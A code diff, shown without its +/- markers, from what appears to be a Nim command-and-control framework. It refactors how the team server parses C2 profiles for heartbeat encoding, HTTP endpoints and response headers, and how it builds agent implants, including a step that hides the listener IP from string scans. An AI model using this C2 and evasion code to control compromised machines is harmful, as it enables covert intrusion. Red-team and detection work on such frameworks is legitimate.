# Retrieve and apply data transformation to get raw heartbeat packet
let
encoding = cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
let prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
let suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
case encoding:
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
of "base64":
heartbeat = string.toBytes(decode(encHeartbeat))
of "none":
@@ -70,18 +67,17 @@ proc httpGet*(ctx: Context) {.async.} =
# Apply data transformation to the response
var response: string
let
encoding = cq.profile.getString("http-get.server.output.encoding.type", default = "none")
prefix = cq.profile.getString("http-get.server.output.prefix")
suffix = cq.profile.getString("http-get.server.output.suffix")
case encoding:
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
of "none":
response = Bytes.toString(responseBytes)
of "base64":
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
else: discard
let prefix = cq.profile.getString("http-get.server.output.prefix")
let suffix = cq.profile.getString("http-get.server.output.suffix")
# Add headers, as defined in the team server profile
for header, value in cq.profile.getTable("http-get.server.headers"):
ctx.response.setHeader(header, value.getStr())

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64, parsetoml
import ./task
import ../utils
@@ -135,13 +135,14 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
let listener = cq.listeners[listener.toUpperAscii]
# Create/overwrite nim.cfg file to set agent configuration
let agentConfigFile = fmt"../src/agent/nim.cfg"
let AgentCtxFile = fmt"../src/agent/nim.cfg"
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address)
# Covert the servers's public X25519 key to as base64 string
let publicKey = encode(cq.keyPair.publicKey)
let profileString = encode(cq.profile.toTomlString())
# The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt"""
@@ -154,8 +155,9 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
-d:ListenerPort={listener.port}
-d:SleepDelay={sleep}
-d:ServerPublicKey="{publicKey}"
-d:ProfileString="{profileString}"
""".replace(" ", "")
writeFile(agentConfigFile, config)
writeFile(AgentCtxFile, config)
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")

View File

@@ -6,7 +6,7 @@ import sugar
import ../utils
import ../api/routes
import ../db/database
import ../../common/[types, utils]
import ../../common/[types, utils, profile]
# Utility functions
proc delListener(cq: Conquest, listenerName: string) =
@@ -60,12 +60,20 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
# Define API endpoints based on C2 profile
# GET requests
for endpoint in cq.profile["http-get"]["endpoints"].getElems():
listener.get(endpoint.getStr(), routes.httpGet)
for endpoint in cq.profile.getArray("http-get.endpoints"):
listener.addRoute(endpoint.getStr(), routes.httpGet)
# POST requests
for endpoint in cq.profile["http-post"]["endpoints"].getElems():
listener.post(endpoint.getStr(), routes.httpPost)
var postMethods: seq[HttpMethod]
for reqMethod in cq.profile.getArray("http-post.request-methods"):
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
# Default method is POST
if postMethods.len == 0:
postMethods = @[HttpPost]
for endpoint in cq.profile.getArray("http-post.endpoints"):
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
listener.registerErrorHandler(Http404, routes.error404)
@@ -104,12 +112,20 @@ proc restartListeners*(cq: Conquest) =
# Define API endpoints based on C2 profile
# TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts
# GET requests
for endpoint in cq.profile["http-get"]["endpoints"].getElems():
for endpoint in cq.profile.getArray("http-get.endpoints"):
listener.get(endpoint.getStr(), routes.httpGet)
# POST requests
for endpoint in cq.profile["http-post"]["endpoints"].getElems():
listener.post(endpoint.getStr(), routes.httpPost)
var postMethods: seq[HttpMethod]
for reqMethod in cq.profile.getArray("http-post.request-methods"):
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
# Default method is POST
if postMethods.len == 0:
postMethods = @[HttpPost]
for endpoint in cq.profile.getArray("http-post.endpoints"):
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
listener.registerErrorHandler(Http404, routes.error404)

View File

@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
import ./[agent, listener]
import ../[globals, utils]
import ../db/database
import ../../common/[types, utils, crypto]
import ../../common/[types, utils, crypto, profile]
#[
Argument parsing
@@ -135,8 +135,8 @@ proc init*(T: type Conquest, profile: Profile): Conquest =
cq.agents = initTable[string, Agent]()
cq.interactAgent = nil
cq.keyPair = loadKeyPair(profile["private_key_file"].getStr())
cq.dbPath = profile["database_file"].getStr()
cq.keyPair = loadKeyPair(profile.getString("private_key_file"))
cq.dbPath = profile.getString("database_file")
cq.profile = profile
return cq